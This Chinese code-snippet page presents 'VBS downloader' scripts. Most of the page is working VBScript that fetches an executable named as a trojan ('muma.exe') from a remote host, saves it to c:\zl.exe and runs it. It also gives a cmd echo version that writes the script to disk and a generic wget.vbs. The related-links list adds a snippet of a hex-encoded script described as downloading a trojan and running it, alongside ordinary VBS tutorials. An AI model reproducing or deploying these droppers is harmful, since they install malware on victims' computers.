VBS下载者(通过vbscript实现文件下载)
一、VBS下载者:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.jbzj.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs
三、wget.vbs
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe
相关推荐
-
VBS 下载方法(CDO.MESSAGE)
于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do whil
-
使用vbs下载文件的代码加强版
说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码: iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet=createObject("ADODB.Strea
-
下载文件到本地运行的vbs
复制代码 代码如下: 'on error resume next dl = http://www.jb51.net/index.htm '这是要下载的文件的路径str="Microsoft.XMLHTTP" Set x = CreateObject(str) Set x = CreateObject(str) set S = createobject("adodb.stream") S.type = 1 x.Open "GET", dl, Fal
-
支持断点下载的VBS代码
之前我就介绍过VBScript语言的强大.今天再给出一个支持断点下载的VBS代码. 并附上VBS代码的解析,不懂的朋友可以配合微软的SCRIPT56.CHM文档自学.很简单, VBS的好处就是代码易于理解.基本上每行代码执行功能都用英文表示出来了. 这个代码也是对我以前介绍的VBS下载功能的补充. 老规矩,复制保存为dl.vbe. 不过这个VBS的代码的不同之处不是双击运行,而是在CMD命令行下执行. 下载功能执行的格式是: cscript.exe dl.vbs (目标文件地址) [以下载Met
-
用ASP VBS xmlhttp adodbstream下载和保存图片的代码
函数: 复制代码 代码如下: function saveFile(data,recfilen) set Astream=CreateObject("Adodb.Stream")'asp Server.CreateObject("Adodb.Stream") fxt=mid(recfilen,InStrRev(recfilen,".")+1) txt=false if fxt="asp"
-
一个收集的下载木马并运行的VBS代码
<script language="VBScript"> S="2020206F6E206572726F7220726573756D65206E6578740D0A737 3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 6A65220D0A616161613D226374220D0A61616161613D22636C61220 D0A6161616161613D2273736964220D0
-
vbs 多线程下载实现代码
话说还是闲来练手,初步实现了自己认为的"多线程"下载.(至于是不是多线程,可以参考12楼链接) 为避免冗余,省了一些错误检查.我觉得没多大实际用途,有兴趣的兄弟一起学习讨论呗.欢迎大家指正: 复制代码 代码如下: 'by wankoilz url=InputBox("输入完整下载地址:") threadCount=InputBox("输入线程数(不超过10吧,太多就累赘了):") fileName=GetFileName(url) filePat
-
VBS下载文件的新方法
BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscri
-
VBS下载者(通过vbscript实现文件下载)
一.VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet
-
最新版利用CDO.Message做的vbs下载者
vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者.伟大是装B的意思. NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vb
-
VBS教程:在 VBScript 中使用对象
在 VBScript 中使用对象使用对象无论使用的是 ActiveX(R) 控件(以前称为 OLE 控件)还是 Java(TM) 对象,Microsoft Visual Basic Scripting Edition 和 Microsoft(R) Internet Explorer 都以相同的方式处理它们.如果您使用的是 Internet Explorer 并且安装了 Label 控件,就会看到由以下代码制作的页面. <OBJECT> 标记用来包含对象,<PARAM> 标记用来设置
-
按键精灵 脚本-学习VBS的一个不错的教程
今天我就从总体上对VBS进行介绍,希望能给大家一个直观的印象.另外,讲解与按键官网的按键精灵教程(李悦制作)相结合,帮大家看懂这个东东. 一.概述 要让计算机做事情就必须由人给它指令.原来的指令很复杂,都是些0011001之类的东西,后来逐渐简化,指令也更接近于人类的语言.VBS(Microsoft(R) Visual Basic(R) Scripting)也是高级语言的一种,和其他高级语言相比,它有简单易学的特点,是电脑初学者涉足编程领域的良好入口. 如果说从低级语言进化到高级语言是人类控制计
-
vbscript ms owc 封裝代码
复制代码 代码如下: ''owc.vbs class owc private o '传入物件 public property set set_obj(o_id) set o=o_id end property '画图矩形图 'chart_bgcolor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'Interior_Color_矩形内的填充颜色 'Caption_名称 'categories_名称数组 'values_值数
-
病毒专杀VBS模块
"病毒专杀VBS模块.vbs"这个文件你可以直接执行,不会有任何破坏^^. 提供专杀模板,你就可以根据你分析出的病毒行为写出自己的病毒专杀工具. 非常的方便,非常的高效! 作为一个反病毒人士不应该仅仅能分析好病毒日志,还要知道如何分析病毒行为! 进而给出自己的解决方案! 这个解决方案并不一定非得用到网上那些出名的小软件icesword之类的. 因为你也可以自己写专杀,只要你学过VBS就行! VBS代码很简单,和VB.VBSCRIPT是如出一辙的-- 自然bat批处理(DOS命令)也可以
随机推荐
- 基于在生产环境中使用php性能测试工具xhprof的详解
- js中exec、test、match、search、replace、split用法
- SQLite3中自增主键相关知识总结
- iOS微信第三方登录实现
- Java语言面向对象编程思想之类与对象实例详解
- 基于Bootstrap的标签页组件及bootstrap-tab使用说明
- ASP.NET实现读取Excel内容并在Web上显示
- Asp.net中使用Sqlite数据库的方法
- 一个odbc连mssql分页的类
- C++ 数字的反转实现实例
- vector list map 遍历删除制定元素 防止迭代器失效的实例
- C#利用服务器实现客户端之间通信
- Rect,RoundRect(矩形)对象
- 详解Python编程中对Monkey Patch猴子补丁开发方式的运用
- SQL server服务显示远程过程调用失败的解决方法
- Jquery on绑定的事件 触发多次实例代码
- JavaScript实现简单的tab选项卡切换
- JS实现两周内自动登录功能
- java.net.ConnectException: Connection refused问题解决办法
- Android通过自定义View实现随机验证码
其他
- pytorch实现网络权值共享
- oracle clob字段查询慢
- sql2008远程过程调用失败
- 微信小程序 循环slot 不显示
- 在idea搜索不到eslink插件
- mybatis 多租户
- python 滑动平均值进行数据填补
- IDEA android.mk文件高亮
- 如何在插件中使用this.$router
- 选择排序代码 顺序表
- limit_rate设置多少
- nginx配置iframe跨域
- python中vcf包怎么修改gt数据
- 前端 devServer proxy运用
- VUE for 判断赋值
- vue 无限滚动公告
- springboot oauth2 白名单
- python requests 返回zip文件
- java怎样调C 的可执行文件
- mysql 注解动态更新